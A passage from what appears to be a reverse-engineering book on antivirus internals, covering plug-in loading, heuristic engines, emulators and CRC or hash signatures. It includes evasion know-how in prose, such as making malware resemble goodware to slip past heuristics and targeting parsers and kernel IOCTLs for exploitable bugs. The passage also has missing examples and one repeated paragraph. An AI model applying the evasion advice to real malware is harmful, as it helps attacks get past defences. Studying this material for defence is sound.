Developers are forced to create their own plug-ins loader for each operating system. Naturally, the different loaders must be maintained, thus
the work is multiplied by the number of different operating systems the
antivirus company supports (commonly two or three: Windows, Mac OS
X, and Linux), although most of the code can be shared.
If the code copied to memory needs to be relocated, the complexity significantly increases, as does the time required to load a plug-in.
The complexity of developing such a system is increased because files that
are encrypted and compressed require a whole new file format. Also, because
generated binaries are not standard executables (like PE files, MachO files, or
ELF files), antivirus developers must create a specific signing scheme for their
antivirus plug-in files. However, antivirus developers are not doing this as often
as they should. Indeed, most antivirus software does not implement any kind
of signing scheme for its update files besides simple CRC32 checks.
From the viewpoint of an antivirus engineer, antivirus kernels using the
Kaspersky approach have the following advantages:
They consume less memory.
Developers can debug their native code with any debugging tool.
On the other hand, this approach has the following disadvantages:
Developers must write their own full-featured linker inside the antivirus
core. This is not a trivial task.
The linker must be written and maintained for any supported platform
(although most code will be shared).
Each antivirus company must decide which scheme is best for it. Unfortunately,
it sometimes seems like antivirus product designers simply implement the first
method that they come up with, without thinking about the implications or how
much work will be required later to maintain it or, even worse, port it to new
operating systems, such as Linux and Android or Mac OS X and iOS. This is
the case with various antivirus products implementing a loader for PE files for
both Linux and Mac OS X. Their plug-ins were created as non-standard PE files
(using the PE header as the container for the plug-in but with a totally different
file format than usual PE files) for only the platform that was supported at the
Part I ■ Antivirus Basics
time (Windows), and they did not think about porting the code in the future
to other platforms. Many antivirus companies are affected by the same design
failure: an excessive focus on Windows platforms.
From a reverse-engineering point of view, however, there is a clear winner:
object files that are linked together in the machine running the AV product
are the ones to analyze. There are many reasons why these plug-ins’ loading
mechanisms are better to reverse-engineer the antivirus product:
If the antivirus product implements a linker and distributes all plug-in
files as COFF objects, the COFF objects can be directly opened with IDA.
They contain symbols because the linker needs them. These symbols will
make it considerably easier to start analyzing the inner workings of the
antivirus product being targeted.
If the files are simple libraries supported by the operating system, you
can just load them in IDA and start the analysis. Depending on the platform, symbols can be available (like, as is typical, in the Linux, *BSD, and
MacOSX versions).
If the antivirus product uses a dynamic loading approach of non-operating
system standard modules, you need to decode the plug-in files and decode them
into a form that can be loaded in IDA or any other reverse-engineering tool. Also,
because the code is loaded in the heap, because of ASLR the modules will always be
loaded at a different address. The process of debugging a piece of code can be really
tedious because every time the debugger is launched, the code will be located in a
different position, and all the comments, names, and any notes you made during
the disassembly are lost, unless the IDA database is manually rebased correctly.
IDA does not correctly rebase code in debugging segments. The same applies to
breakpoints: if you put a breakpoint in some instruction and re-launch the debugger, the breakpoint is likely going to be at an invalid memory address because the
code changed its base address.
N O T E You might think that it is better to implement a dynamic loading approach in
order to protect the intellectual property of your antivirus products. However, making
an analyst’s work a bit more difficult initially does not really protect anything. It just
makes it more challenging to analyze the product, and it makes the analysis more difficult for only the first steps.
Types of Plug-ins
There are many different plug-in types: some plug-ins simply extend the list of
compressors supported by antivirus products, and other plug-ins implement
complex detection and disinfection routines for file infectors (such as Sality
Chapter 3 ■ The Plug-ins System
or Virut). Some plug-ins can be considered helpers for the antivirus engineers
(because they export functionality useful for generic detections and disinfections, like disassembler engines, emulators, or even new signature types), or
they can be loaders of new, completely different, plug-in types, such as plug-ins
for antivirus-specific virtual machines (like routines to unpack the first layers
of VMProtect in order to retrieve the license identifier) or support for scripting
languages. Understanding the antivirus plug-in loading system and the supported plug-in types is essential to any analyst who wants to know how an
antivirus product really works. This is because the most interesting features
of an antivirus kernel are not in the kernel but in the components that it loads.
The following sections cover some of the more common (and less common)
plug-ins supported by antivirus products.
Scanners and Generic Routines
The most common plug-in type in any antivirus is a scanner. A scanner is a plug-in
that performs some kind of scanning of specific file types, directories, user and
kernel memory, and so on. An example plug-in of this type is an Alternate Data
Streams (ADS) scanner. The core kernel typically offers only the ability to analyze
files and directories (and sometimes, userland memory) using the operatingsystem-supplied methods (that is, CreateFile or the open syscall). However,
in some file systems, such as HFS+ (in Mac OS X) and NTFS (in Windows), files
can be hidden in alternate data streams so the core routines know nothing about
them. Such a plug-in is an add-on to the antivirus core that can list, iterate, and
launch other scanning routines against all files discovered in an ADS.
Other scanner types can offer the ability to scan memory when this ability is
not directly offered by the antivirus product, or they might offer direct access
to kernel memory (as the Microsoft antivirus does) by communicating with a
kernel driver. Other scanner types can be launched only after being triggered
by another plug-in. For example, while scanning a file, if a URL is discovered
inside the file, the URL scanner is triggered. The scanner checks the validity of
the URL to determine whether it is red-flagged as malicious.
When reverse-engineering to find security bugs or evade antivirus software,
the following information can be enlightening:
How and when a file is detected as malicious
How file parsers, de-compressors, and EXE unpackers are launched
When generic routines are launched against a single sample
When samples are selected to be executed under the internal sandbox if
the antivirus has one
When analyzing scanners, you can determine the different types of signatures
used and how they are applied to the file or buffer.
Part I ■ Antivirus Basics
Other scanner types may fall into the generic routines category. Generic
routines are plug-ins created to detect (and probably disinfect) a specific file,
directory, registry key, and so on. For example, such a plug-in might be a routine
to detect some variant of the popular Sality file infector, get the data required
for disinfection, and, if available, put this information in internal structures so
other plug-ins (such as disinfection routines) can use it.
From a reverse-engineering viewpoint, especially when talking about vulnerability development, generic routines are very interesting as they are typically
a very good source of security bugs. The code handling of complex viruses is
error prone, and after a wave of infections, the routine may be untouched for
years because the malware is considered almost dead or eradicated. Therefore,
bugs in the code of such routines can remain hidden for a long time. It is not
uncommon to discover security bugs (that lead to exploitation) in the generic
routines that are used to detect viruses from the 29A team, MS-DOS, and the
very first versions of Microsoft Windows.
While generic routines and their corresponding generic disinfections may seem like
a basic feature, some antivirus kernels do not offer any methods for plug-ins to communicate. Because of this design weakness, antivirus kernels that do not offer this
intercommunication duplicate the code from the generic routines used to detect a
file infector to another plug-in that is used to disinfect it. A bug in a file infector may
be fixed in the detection routines but not in the code that is copied to the disinfection
routines. This bug remains hidden unless you instruct the antivirus scanner to disinfect files. Bugs found in disinfection routines are one of the less researched areas in
the antivirus field.
File Format and Protocol Support
Some plug-ins are designed to understand file formats and protocols. These
plug-ins increase the capabilities of the antivirus kernel to parse, open, and
analyze new file formats (such as compressors or EXE packers) and protocols.
Plug-ins designed to understand protocols are more common in gateways and
server product lines than in desktop lines, but some antivirus products implement support for understanding the most common protocols (such as HTTP),
even in the desktop version.
Such plug-ins can be unpackers for UPX, Armadillo, FSG, PeLite, or ASPack
EXE packers; parsers for PDF, OLE2, LNK, SIS, CLASS, DEX, or SWF files; or
decompression routines for zlib, gzip, RAR, ACE, XZ, 7z, and so on. The list
of plug-ins of this type for antivirus engines is so long that it is the biggest
source of bugs in any antivirus core. What are the odds of Adobe not having
vulnerabilities its own PDF file format in Acrobat Reader? If you take a look
Chapter 3 ■ The Plug-ins System
at the long list of Common Vulnerabilities and Exposures (CVEs) covering the
vulnerabilities discovered in Acrobat Reader during the last few years, you may
get an idea of how difficult it is to correctly parse this file format. What are the
odds of an antivirus company writing a bug-free plug-in to parse a file format
for which the partial documentation published is 1,310 pages long (1,159 pages
without the index)?
Naturally, the odds are against the antivirus engineers. The implementation
of a PDF engine has already been mentioned, but what about an OLE2 engine to
support Microsoft Word, Excel, Visio, and PowerPoint files; an ASF video formats
engine; a MachO engine to analyze executables for Mac OS X operating systems;
ELF executables support; and a long list of even more complex file formats?
The answer is easy: the number of potential bugs in antivirus software due
to the number of file formats they must support is extremely high. If you consider
the support for protocols, some of them undocumented or vaguely documented
(such as the Oracle TNS Protocol or the CIFS protocol), then you can say that
without doubt, this is the biggest attack surface of any antivirus product.
An antivirus product deals with hostile code. However, when writing parsers or decoders for file formats, antivirus engineers do not always keep this in mind, and many
treat the files they are going to handle as well formed. This leads to mistakes when
parsing file formats and protocols. Others over-engineer the parser to accommodate
as many fringe cases as possible, increasing the complexity of the plug-in and, likely,
introducing more bugs in a dense plug-in that tries to handle everything. Security
researchers and antivirus engineers should pay special attention to file format
decoder and parser plug-ins in antivirus software.
Heuristic engines can be implemented as add-ons (plug-ins) on top of the antivirus
core routines that communicate with other plug-in types or use the information gathered previously by them. An example from the open-source antivirus
ClamAV is the Heuristics.Encrypted.Zip heuristic engine. This heuristic
engine is implemented by simply checking that the ZIP file under scrutiny is
encrypted with a password. This information is normally extracted by a previous plug-in, such as a file format plug-in for ZIP-compressed files that has statically gathered as much information from this file as possible and filled internal
antivirus structures with this data. The ZIP engine is launched by a scanner
engine that determines in the first analysis steps that the file format of the ZIP
file is understood by the kernel. Finally, the heuristic engine uses all of this
information to determine that the buffer or file under analysis is “suspicious”
enough to raise an alert, according to the heuristic level specified.
Part I ■ Antivirus Basics
Heuristic engines are prone to false positives because they are simply evidencebased. For example, a PDF may look malformed because it contains JavaScript,
includes streams that are encoded with multiple encoders (some of which are
repeated, for example, where FlateDecode or ASCII85Decode are used twice
for the same stream), and contains strings that seem to be encoded in ASCII,
hexadecimal, and octal. In this case, heuristic engines would likely consider it
an exploit. However, buggy generator software could produce such malformed
PDF files, and Adobe Reader would open them without complaint. This is a
typical challenge for antivirus developers: detecting malware without causing
false positives with goodware that generates highly suspicious files.
There are two types of heuristic engines: static and dynamic. Heuristic engines
based on static data do not need to execute (or emulate) the sample to determine
whether it looks like malware. Dynamic engines monitor the execution of a
program in the host operating system or in a guest operating system, such as a
sandbox created by the antivirus developers running on top of an Intel ARM
or a JavaScript emulator. The previous examples discussing PDFs or ZIP files
fall into the category of static-based heuristic engines. Later in this chapter, in
the “Weights-Based Heuristics” section, the dynamic heuristic engines category
is discussed.
This section explained some of the simpler heuristic engines an antivirus can
offer. However, antivirus products also offer very complex types of heuristic
engines. Those are discussed next.
Bayesian Networks
Bayesian networks, as implemented by antivirus products, comprise a statistical model that represents a set of variables. These variables are typically
conditional dependencies, PE header flags, and other heuristic flags, such as
whether the file is compressed or packed, whether the entropy of some section
is too high, and so on. Bayesian networks are used to represent probabilistic
relationships between different malware files. Antivirus engineers exercise the
Bayesian networks in their laboratories with both malware files and goodware
files and then use the network to implement heuristic detection for malware
files based on the training data. Such networks can be used in-house, exclusively for the antivirus companies (the most common case), or implemented
in distributed products. Although this is a powerful heuristic method with
solid roots in statistical models, it may cause many false positives. Bayesian
networks as used by antivirus companies (after being trained) usually work
in the following way:
1. Antivirus engineers feed the network a new sample.
2. The sample’s heuristic flags are gathered, and the state is saved in internal
Chapter 3 ■ The Plug-ins System
3. If the flags gathered are from known malware families or are too similar
to previously known malware families, the Bayesian network gives a score
4. Using the score given by the Bayesian network, the sample is then considered “likely malware” or “likely goodware.”
The problem with such an approach is always the same: what if a true malware
file uses the same PE header flags or the gathered heuristic flags (compression,
entropy, and so on), or both, as the typical goodware samples? The antivirus will
have a true negative (a malware sample wrongly classified as non-malicious).
What if a goodware program is protected by some packer or virtualizer and
the heuristic flags generated for this file correspond to some malware family?
You guessed it: a false positive.
Bypassing Bayesian networks, as well as any kind of heuristic engine implemented in antivirus engines, is typically easy. The rule of thumb for writing
malware that slips past heuristic engines is to always make your malware as
similar as possible to goodware.
Commonly, Bayesian networks implemented in antivirus engines are used
for two purposes:
Detecting new samples that are likely to be malware
Gathering new suspicious sample files
Antivirus companies often ask the users to join a company network or to allow
the antivirus product to send sample files to the antivirus companies. Bayesian
networks are the heuristic engines that classify potentially malicious files as
candidates to be sent to antivirus companies for analysis (once the volume of
such files becomes high enough or interesting enough).
Bloom Filters
A bloom filter is a data structure that antivirus software uses to determine whether
an element is a member of a known malware set. A bloom filter determines either
that the element is absolutely not in the set or that it is probably in the set. If the
heuristic flags gathered from another plug-in pass the bloom filter, the sample
is definitely not in the set, and the antivirus software does not need to send the
file or buffer to other, more complex (and likely slower) routines. Only the files
that pass through the bloom filter are sent to more complex heuristic engines.
The following is a hypothetical bloom filter and is useful only for explanation purposes. This is a filter for a database of MD5 hashes. Say that in your
database, you have samples containing the following hashes:
Part I ■ Antivirus Basics
If the MD5 hash of the new sample or buffer under analysis does not start
with either 9 or E, you can conclude that the file is definitely not in the set of files
you want to submit to slower routines. However, if the hash of the new sample
starts with either 9 or E, the sample “might be” in the set, but you would need
to perform more complex queries to check whether it is a member of the sample
set. The previous example was hypothetical only and was meant to show how a
bloom filter works. There are much better approaches for determining whether
a hash is in a known database of fixed-size strings.
Almost all antivirus products implement some sort of heuristic engines based
on hashes (either cryptographic or fuzzy hashes) using bloom filters. In general,
bloom filters are exclusively used to determine whether a sample should be
researched in more depth or just discarded from an analysis routine.
Weights-Based Heuristics
Weights-based heuristics appear in various antivirus engines. After a plugin gathers information about a sample file or a buffer, internal heuristic flags
are filled accordingly. Then, depending on each flag, a weight is assigned. For
example, say that a sample is run under the antivirus emulator or in a sandbox,
and the behavior of this sample (when running under the emulator or sandbox)
is recorded. Weight-based heuristic engines assign different weights to different
actions (the values can be negative or positive). After all the actions performed
by the sample being analyzed have been weighted, the heuristic engine determines whether it looks like malware. Consider an example where an AV has
recorded the following activity of a hypothetical malware:
1. The malware reads a plain text file in the directory where it is being
2. It opens a window and then shows the user a dialog box for confirming
or cancelling the process.
3. It downloads an executable file from an unknown domain.
4. It copies the executable file to %SystemDir%.
5. It executes the downloaded file.
6. Finally, it tries to remove itself by running a helper batch file that tries to
terminate the malware process and then clean it from disk.
A weight-based heuristic engine assigns negative values to the first two actions
(as they are likely benign actions) but assigns positive values to the subsequent
actions (as they look like the typical actions of a malware dropper). After a weight
is applied to each action, the final score of the sample’s behavior is calculated,
and, depending on the threshold specified by the user (antivirus researcher),
the malware is judged as either probably malware or definitely not malware.
Chapter 3 ■ The Plug-ins System
Some Advanced Plug-ins
Antivirus products use many different kinds of plug-ins in addition to the types
discussed previously in this chapter. This section looks at some of the most
common advanced plug-ins used in antivirus products.
Memory Scanners
A scanner is the most common type of plug-in that antivirus products use.
One example of an advanced scanner usually found in antivirus products is a
memory scanner. Such a scanner type offers the ability to read the memory of
the processes being executed and apply signatures, generic detections, and so on
to buffers extracted from memory. Almost all antivirus engines offer memory
analysis tools in some form.
There are two types of memory scanners: userland and kernel-land memorybased scanners. Userland scanners perform queries over memory blocks of
userland programs, and kernel-land scanners perform queries over kernel
drivers, threads, and so on. Both types are really slow and are often used only
after some specific event, such as when the heuristics detect a potential problem.
Often, users can employ the AV interface to initiate a complete memory scan.
Userland-based memory scanning techniques can be implemented by using
the operating system APIs (such as OpenProcess and ReadProcessMemory in
Windows-based operating systems) or by kernel drivers created by antivirus
Using the operating system APIs is not always ideal, because they can be
intrusive, and malware writers have developed evasion techniques to work
around them. For example, some malware samples are written to perform
preventive actions when a memory read from an external process occurs. The
malware might choose to terminate itself, remove some files, or act to prevent
detection in some way. A goodware program with built-in protection may
misinterpret such a scan and refuse to continue working to prevent analysis.
This is why antivirus programmers do not like this approach and prefer to
implement kernel drivers to read memory from foreign processes. Unless the
malware is communicating with another kernel component (a rootkit), there is
no way to know whether or not the memory of a process is being read. To read
kernel memory, AV companies have to write a kernel driver. Some antivirus
products develop a kernel driver that allows reading of both user and kernel
memory, implements a communication layer for retrieving this information
from userland processes, and then passes the read buffers to analysis routines.
Implementing these features without proper security checks is a good source
of bugs. What if the kernel driver does not verify which application is calling
the exported I/O Control Codes (IOCTLs) used to read the kernel memory? This
Part I ■ Antivirus Basics
can lead to serious security issues where any user-mode application that knows
about this communication layer and the proper IOCTLs can read kernel memory.
The problem becomes even more severe if the developers of this kernel driver
also provided a mechanism (via additional IOCTLs) to write to kernel memory!
Some antivirus products, which are not listed here, claim to support memory analysis,
but that is not accurate. Such products do not really perform memory analysis but,
rather, query the list of processes being executed and analyze the modules loaded in
each one using the files as they are on disk. Memory analysis techniques can be intrusive and must be used with great caution because anti-debugging, anti-attaching, and
other anti-reverse-engineering techniques can detect these techniques and prevent
the application from working properly. In part, this design protects the intellectual
property of the software program. Antivirus companies try to be as unobtrusive
as possible. Some companies simply do not bother trying to read the memory of a
process because of the implications of interfering with legitimate software. Their
approach is that it is sufficient to read the bytes of the modules on disk.
Non-native Code
Antivirus kernels are almost always written in C or C++ languages for performance reasons. However, the plug-ins can be written in higher-level languages.
Some antivirus products offer support for .NET or for specific virtual machines
to create plug-ins (such as generic detections, disinfections, or heuristics). An
antivirus company may decide to take this route for the following reasons:
Complexity—It could be easier to write a detection, disinfection, or heuristic engine with a higher-level programming language.
Security—If the language chosen is executed under a virtual machine,
bugs in the code parsing a complex file format or disinfecting a file infector
would affect not the entire product but only the processes running under
the virtual machine, emulator, or interpreter they selected.
Ability to debug—If a generic detection, disinfection, or heuristic engine
is written in a specific language and a wrapper for the API offered by the
antivirus is available, antivirus developers can debug their code with the
tools available for the language they decided to use.
When the decision to use non-native code is driven by security, the first and
third reasons are sometimes lost. For example, some antivirus products may create different types of virtual machines to run their parsers and generic routines
under the “matrix” (in a sandbox-like environment) instead of running directly
as native code. That approach means that when a vulnerability is discovered in
Chapter 3 ■ The Plug-ins System
the code, such as a buffer overflow, it does not directly affect the entire scanner
(such as the resident program, usually running as root or SYSTEM). This forces
an exploit developer to research the virtual machine as well, in order to find
escapes (requiring the use of two or more exploits instead of a single one). On
the other hand, some antivirus products (at least during the first versions of their
new virtual machines) create a full instruction set and offer an API but no way
to debug code with a debugger, which causes problems to antivirus engineers.
If you mention GVM (Guest Virtual Machine) to some developers from the
old days of Symantec, they will tell you horror stories about it. In the past, the
GVM was a virtual machine that did not allow the debugging of code with a
debugger. This forced developers to invent their own debugging techniques
to determine why their code was not working. Even worse for some virtual
machines, the detections were written directly in assembly, because there was no
translator or compiler that generated code as supported by the virtual machine.
If you combine this annoying inability to debug with familiar tools (such as
OllyDbg, GDB, and IDA), you will get an idea of how little developers in the
anti-malware industry appreciate virtual machines.
If you combine this annoying inability to debug with familiar tools (such as
OllyDbg, GDB, and IDA), you will get an idea of how little developers in the
anti-malware industry appreciate virtual machines.
Lua and .NET are among the most common non-native languages being
used in antivirus products. Some companies write .NET bytecode translators
for a format supported by their virtual machines; others directly embed an
entire .NET virtual machine inside their antivirus software. Still others use
Lua as their embedded high-level language because it is lightweight and fast,
it has good support for string handling, and the license is rather permissive,
allowing its use in commercial, closed-source products, like 99.99 percent of
the antivirus industry.
While it is a nightmare for antivirus programmers to debug their code if
there is no way to use the typical debugging tools, it is easier to write code in
.NET languages, such as C#, than in C or C++. Another point is that the security
implications of having a bug in the code are obviously less worrisome in managed languages than in unmanaged languages; if the code is running inside a
virtual machine, an exploit writer needs to concatenate at least one more bug to
get out of the virtual machine, making it considerably more complex to exploit
the antivirus product. Also, the odds of having security vulnerabilities in managed languages compared to C or C++ are remarkably lower.
From a reverse-engineering viewpoint, however, if the targeted antivirus
product uses a virtual machine of some sort, it can be a true nightmare. Say that
the antivirus “ACME AV” implemented a virtual machine of its own, and most
of its generic detections, disinfections, and heuristic routines are written for this
virtual machine. If the VM is a non-standard one, the unfortunate analyst will
need to go through the following steps:
Part I ■ Antivirus Basics
1. Discover that code is written for a virtual machine. Naturally, when a
reverse-engineer starts his or her work on a new target, this information
is not available.
2. Discover the whole instruction set is supported by a virtual machine.
3. Write a disassembler, usually an IDA processor module plug-in, for the
whole new instruction set.
4. Discover where the plug-ins’ routine bytes are located (in the plug-in files
or in memory), and dump or extract them.
5. Start the analysis of the plug-ins implemented for the specific virtual
machine in IDA or with the custom disassembler that he or she developed
in step 3.
It can be even worse: while not necessarily in antivirus products, it does occur
in software protection tools such as Themida or VMProtect. If the processor
virtual machine is randomly generated and completely different for each build or
update, the difficulty of analyzing the code increases exponentially. Every time
a new version of the virtual machine is released, a new disassembler, possibly
an emulator, or any tools the reverse-engineer wrote relying on the previous
instruction set, must be updated or re-written from scratch. But there are even
more problems for security researchers: if the developers of the product cannot
debug the code with their tools, the analyst is also unable to do so. Thus, they
need to write an emulator or a debugger (or both) for it.
Researching these plug-ins is typically too complex. However, if the selected
virtual machine is well known, such as the .NET virtual machine, then the
researcher happens to be lucky enough to discover complete .NET libraries or
executables hidden somewhere in the database files and then be able to use a
publicly available decompiler such as the open-source ILSpy or the commercial .NET Reflector. This makes his or her life easier, as the analyst can read
high-level code (with variable and function names!) instead of the always less
friendly assembly code.
Scripting Languages
Antivirus products may use scripting languages, such as the aforementioned
Lua or even JavaScript, to execute generic detections, disinfections, heuristic
engines, and so on. As in the previous case, the reasons for implementing the
aforementioned features using scripting languages are exactly the same: security,
debugging, and development complexity. Naturally, there are also businesslevel reasons for using scripting languages: it is easier to find good high-level
programmers than it is to find good software developers in languages such as
C or C++. Thus, a new antivirus engineer joining an antivirus firm does not
really need to know how to program in C or C++ or even assembly, because
Chapter 3 ■ The Plug-ins System
that person writes plug-ins in Lua, JavaScript, or some other scripting language
supported by the antivirus core. That means a programmer needs to learn only
the APIs that the core exports in order to write script plug-ins.
As with the previous case, there are two different viewpoints regarding
plug-ins implemented in antivirus products with scripting languages: those of
the antivirus developer and those of the researchers. For antivirus companies,
it is easier to write code in high-level languages because they are more secure,
and it is usually easier to find developers of high-level languages. For reverseengineers, in contrast with what usually happens with virtual machines, if the
antivirus product directly executes scripts, the researcher simply needs to find
where the scripts are, dump them, and start the analysis with actual source code.
If the scripts are compiled to some sort of bytecode, the researcher might be
lucky enough to discover that the virtual machine is the standard one offered
by the embedded scripting language, such as Lua, and find an already written
decompiler such as (following with the Lua example) the open-source unluac.
The researcher may be required to make some small modifications to the code
of the decompiler in order to correctly get back the source code of the script,
but this is usually a matter of only a few hours’ work.
The emulators are one of the key parts of an antivirus product. They are used
for many tasks such as analyzing the behavior of a suspicious sample, unpacking samples compressed or encrypted with unknown algorithms, analyzing
shellcode embedded in file formats, and so on. Most antivirus engines, with
the notable exception of ClamAV, implement at least one emulator: an Intel 8086
emulator. The emulator is typically used to emulate PE files, with the help of
another loader module (which is sometimes baked into the emulator’s code),
boot sectors, and shellcode. Some antivirus products also use it to emulate ELF
files. There is no known emulator that does the same for MachO files.
The Intel x86 emulator is not the only one that antivirus kernels use; some
emulators are used for ARM, x86_64, .NET bytecode, and even JavaScript or
ActionScript. The emulators by themselves are not that useful and tend to be
limited if the malware issues many system or API calls. This stems from the fact
that the emulators set a limit to the number of API calls that are emulated before
they halt the emulation. Supporting the instruction set—the architecture—is
halfway to emulating a binary; the other half is properly emulating the API
calls. The other responsibility of an emulator is to support either the APIs or the
system calls that are offered by the actual operating system or environment it
is mimicking. Usually, some Windows libraries, such as ntdll.dll or kernel32
.dll, are “supported,” in the sense that most of the typical calls are somehow
implemented by the antivirus. Very often, the implemented functions do not
really do anything but return codes that are considered as successful return
Part I ■ Antivirus Basics
values. The same applies to emulators of userland programs instead of entire
operating systems: the APIs offered by the product (such as Internet Explorer or
Acrobat Reader) are mimicked so the code being executed under the “matrix”
does not fail and performs its actions. Then the behavior, whether bad or good,
can be recorded and analyzed.
The emulators are usually updated because malware authors and commercial
software protection developers discover and implement new anti-emulation
techniques almost daily. When the antivirus engineers discover that some
instruction or API is being used in a new malware or protector, the instructions
or APIs are updated so that they are supported. The malware authors and software protection developers then discover more. This is the old cat-and-mouse
game where the antivirus industry is naturally always behind. The reason is
simple: supporting a recent entire CPU architecture is a gigantic task. Supporting
not only an entire CPU but also an entire set of operating system APIs in an
engine that runs in a desktop solution, without causing enormous performance
losses, is simply an impossible task. What the antivirus companies try to do is
to balance the quantity of APIs and instructions they have to support without
implementing all of the instruction sets or APIs that can emulate as much malware as possible. Then they wait until a new anti-emulation technique appears
in some new malware, packer, or protector.
This chapter covered antivirus plug-ins—how they are loaded, types of plugins, and the functionality and features they provide.
In summary, the following topics were discussed:
Antivirus plug-ins are not a vital part of the core of the AV. They are
loaded by the AV on demand.
There is not a single method that is used by AVs to load plug-ins. Some
AVs rely on simple operating system APIs to load plug-ins; other AVs
use a custom plug-in decryption and loading mechanism.
The plug-in loading mechanism dictates how hard the reverse-engineer
has to work to understand its functionality.
There is a simple set of steps a reverse-engineer can follow when trying
to understand the plug-in functionality.
There are various types of plug-ins, ranging from simple ones to more
complex ones. Examples of relatively simple plug-ins include scanners and
generic detection routines, file format parsers, protocol parsers, executable files and archive files decompressors, heuristics engine, and so on.
Chapter 3 ■ The Plug-ins System
Heuristic engines work by looking at anomalies in the input files. These
engines may be based on simple logic or more complex logic, such as
those based on statistical modeling (Bayesian networks) or weight-based
There are two types of heuristic engines: static and dynamic. Static engines
look into the files statically without running or emulating them. For example,
PE files that have unusual fields in their headers or PDF files that have
streams that are encoded multiple times using different encoders can
trigger the detection. The dynamic heuristic engines try to deduce malicious activity based on the behavior of the emulated or executing code.
File format or protocol parsers for complex or undocumented formats are
usually an interesting source of security bugs.
Some advanced plug-ins include memory scanners, plug-ins written using
interpreted languages and run within a virtual machine, and emulators.
Memory scanner plug-ins may scan the memory from userland or kernelland. Userland memory scanners tend to be intrusive and may interfere
with the execution of the program. Kernel-mode scanners are less intrusive
but can expose security bugs if it is not properly implemented.
Plug-ins written using scripting languages not only are easier to write
and maintain but also offer an extra layer of protection because they run
through an interpreter. Reverse-engineering such plug-ins can be very
challenging especially if the language is interpreted using a custom-built
virtual machine.
Emulators are key parts of an antivirus. Writing a foolproof and decent
emulator for various architectures is not an easy task. Nonetheless, they
can still help in unpacking compressed or encrypted executable and
analyzing shellcode embedded in documents.
The next chapter covers antivirus signatures, how they work, and how they
can be circumvented.
Understanding Antivirus
Signatures are a key part of any antivirus engine. The signatures are typically
hashes or byte-streams that are used to determine whether a file or buffer contains a malicious payload.
All antivirus engines, since their inception, have used a signature scheme.
Although various kinds exist, the signatures are typically small hashes or bytestreams that contain enough information to determine whether a file or a buffer
matches a known-malware pattern. When hashes are used for signatures, they
are generated with algorithms such as CRC or MD5, which are typically fast
and can be calculated many times per second with a negligible performance
penalty. This is the most typical and preferred method for antivirus engineers
to detect a specific piece of malicious software, because the algorithms are easy
to implement and tend to be fast.
This chapter covers the various signature database types, their strengths
and weaknesses, when they are best used, and how they can be circumvented.
Typical Signatures
Even though each AV engine uses a different set of algorithms to generate
its signatures, and almost all of them have algorithms of their own, various
algorithms are shared among AV products. Some algorithms that are used to
generate signatures can have a high false-positive ratio but are extremely fast.
Part I ■ Antivirus Basics
Other more complex (and naturally more expensive) signatures exhibit a lower
rate of false positives but take a very long time (from a desktop antivirus point
of view) to match. The following sections will cover the most notable signatures
and discuss the advantages and disadvantages of each one.
The simplest form of an antivirus signature is a byte-stream that is specific to
a malware file and that does not normally appear on non-malicious files. For
example, to detect the European Institute for Computer Anti-Virus Research
(EICAR) antivirus testing file, an antivirus engine may simply search for this
entire string:
This is, naturally, the easiest approach for detecting malware; it is fast and
easy to implement, as there are many robust and efficient algorithms for string
matching (such as Aho-Corasick, Knuth-Morris-Pratt, Boyer-Moore, and so on)
that are available to anyone. However, this approach is error prone for the same
reason that it is easy to implement: if a goodware file contains the byte-string,
a false positive is generated, which means that a healthy file is interpreted as a
malicious one. Indeed, it is difficult to predict the actual number of antivirus
products that will detect an electronic file containing the text in this chapter as
malicious because it contains the entire EICAR signature.
The most typical signature-matching algorithm is used by almost all existing
AV engines and is based on calculating CRCs. The Cyclic Redundancy Check
(CRC) algorithm is an error-detection code that is commonly used in storage
devices to detect damage, the accidental change of data, transmission errors,
and so on. This algorithm takes a buffer as input and generates an output hash
in the form of a checksum, which is typically just four bytes (32 bits when the
CRC32 algorithm is used). Then, specific malware is compared with the file or
buffer under analysis by calculating the CRC checksum of the entire buffer or
selected parts of it. Using the example from the previous section, the EICAR test
file has the following CRC32 checksum: 0x6851CF3C. An antivirus engine may
detect this testing file by calculating the CRC32 checksum of the entire buffer
against chunks of data (that is, the first 2Kb block, the last 2Kb block, and so on)
or by analyzing the specific parts of a file format that can be divided (that is, by
checking the CRC32 hash of a specific section of a PE or ELF file).
As with the previous example, the CRC algorithm is fast but generates a large
number of false positives. It was not created with the aim of detecting malicious
payloads but, rather, of detecting erroneous transfers of data over unreliable
Chapter 4 ■ Understanding Antivirus Signatures
channels or detecting media damage. Therefore, finding “collisions” with a
particular CRC32 hash is easy, causing it to generate a lot of false positives with
goodware. Some antivirus engines add additional checks to their implementation; for example, they may first find a small string (a prefix) and then apply the
entire CRC32 function to the buffer, starting from the prefixed string up to some
determined size. But, again, the number of false positives that this approach
can generate is greater than with other ones. As a simple example, both the
words “petfood” and “eisenhower” have the same CRC32 hash (0xD0132158).
As another example, the file with MD5 hash 7f80e21c3d249dd514565eed4595
48c7, available for download, outputs the same CRC32 hash that the EICAR test
file does, causing false positives with a number of antiviruses, as shown in the
following report from VirusTotal:
All the antivirus engines that have been analyzed so far use the CRC32 algorithm.
However, in some cases, the original CRC32 algorithm is not used, but is replaced by a
modified version. For example, the tables of constants used by the original algorithm
may be changed or the number of rounds may be changed. This is something that you
must consider when analyzing the signatures of the antivirus product being targeted.
CRC32 hashes can differ from the original CRC32 algorithm and may cause you some
Custom Checksums
Most antivirus engines create their own set of CRC-like signatures. For example,
some antivirus kernels use the CRCs of some Windows PE executables sections,
perform an XOR operation with all of them, and use the output as the hash
for some PE files; other antivirus engines perform arithmetic calculations and
displacements over blocks of data, generating a small DWORD or QWORD
that is used as the signature. Some antivirus kernels generate various CRC32
checksums of some parts of the file (such as the CRC32 of the header and the
footer) and use the resulting hashes as a multi-checksum signature.
The list of custom checksums is really too large to enumerate in this book.
The interesting point is that such custom checksums do not offer any benefit
to antivirus developers (other than using a hashing function that is unknown,
which forces a reverse-engineer analyzing the targeted AV engine to discover
where that function is, analyze it, and, likely, implement it). Such checksums are
prone to false positives, as are the original CRC32 algorithm’s checksum-based
signatures. This is the reason the antivirus industry decided some time ago to
use a more robust form of function hashes: cryptographic hashes.
Part I ■ Antivirus Basics
Cryptographic Hashes
A cryptographic hash function generates a “signature” that univocally identifies
one buffer and just one buffer, which thus reduces the odds of producing a false
positive (because of fewer “collisions”). An ideal cryptographic hash function
has four properties, as extracted from Wikipedia:
It is easy to compute the hash value for any given message.
It is infeasible to find a message that has a given hash.
It is infeasible to modify a message without changing its hash.
It is infeasible to find two different messages with the same hash.
The antivirus industry decided to use such hash functions because they do
